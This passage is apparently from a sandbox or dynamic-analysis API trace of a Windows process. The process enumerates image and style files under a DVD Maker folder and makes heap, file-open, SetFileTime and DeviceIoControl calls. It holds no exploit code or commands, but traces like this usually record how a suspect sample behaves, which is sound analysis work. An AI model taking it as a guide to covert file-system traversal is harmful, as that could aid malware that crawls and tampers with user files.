ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0065.659] GetLastError () returned 0x12 [0065.659] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0065.660] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0065.660] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.660] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0065.660] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0065.660] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0065.660] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0065.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.660] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0066.125] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0066.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa097b8 [0066.132] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa097b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa097b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0066.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa097b8) returned 1 [0066.135] NtClose (Handle=0x170) returned 0x0 [0066.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0066.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0066.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08288 [0066.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08310 [0066.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0066.866] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.889] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0066.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08288) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04680 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa060e0 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa046a0 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa061e8 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa046c0 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa062f0 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa046e0 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa063f8 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xac0) returned 0x9fa458 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08d30) returned 1 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04700 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06500 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04720 [0066.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06608 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0066.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0066.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04740 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08288 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04760 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06710 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04780 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06818 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa047a0 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06920 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa047c0 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06a28 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.893] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa047e0 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa06b30 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04800 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03270 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04820 